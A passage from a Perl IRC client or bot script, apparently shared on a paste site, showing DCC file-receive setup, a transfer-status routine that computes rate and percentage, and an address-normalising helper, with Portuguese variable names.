  859.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  860.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  861.   $dccsock->autoflush(1);
  862.   $dcc_sel->add($dccsock);
  863.   $DCC{$dccsock}{tipo} = 'get';
  864.   $DCC{$dccsock}{itime} = time;
  865.   $DCC{$dccsock}{nick} = $nick;
  866.   $DCC{$dccsock}{bytes} = $bytes;
  867.   $DCC{$dccsock}{curbyte} = 0;
  868.   $DCC{$dccsock}{arquivo} = $arquivo;
  869.   $DCC{$dccsock}{ip} = $dccip;
  870.   $DCC{$dccsock}{porta} = $dccporta;
  871.   $DCC{$dccsock}{status} = "Recebendo";
  872. }
  873.  
  874. sub Status {
  875.   my $socket = shift;
  876.   my $sock_tipo = $DCC{$socket}{tipo};
  877.   unless (lc($sock_tipo) eq "chat") {
  878.     my $nick = $DCC{$socket}{nick};
  879.     my $arquivo = $DCC{$socket}{arquivo};
  880.     my $itime = $DCC{$socket}{itime};
  881.     my $ftime = time;
  882.     my $status = $DCC{$socket}{status};
  883.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  884.  
  885.     my $d_time = $ftime-$itime;
  886.  
  887.     my $cur_byte = $DCC{$socket}{curbyte};
  888.     my $bytes_total =  $DCC{$socket}{bytes};
  889.  
  890.     my $rate = 0;
  891.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  892.     my $porcen = ($cur_byte*100)/$bytes_total;
  893.  
  894.     my ($r_duv, $p_duv);
  895.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  896.        $r_duv = $3; $r_duv++ if $4 >= 5;
  897.        $rate = "$1\.$2"."$r_duv";
  898.     }
  899.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  900.        $p_duv = $3; $p_duv++ if $4 >= 5;
  901.        $porcen = "$1\.$2"."$p_duv";
  902.     }
  903.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  904.   }
  905.  
  906.  
  907.   return(0);
  908. }
  909.  
  910.  
  911. sub fixaddr {
  912.     my ($address) = @_;
  913.  
  914.     chomp $address;    
  915.     if ($address =~ /^\d+$/) {
  916.         return inet_ntoa(pack "N", $address);
  917.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  918.         return $address;
  919.     } elsif ($address =~ tr/a-zA-Z//) {                    
  920.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  921.     } else {
  922.         return;
  923.     }
  924. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement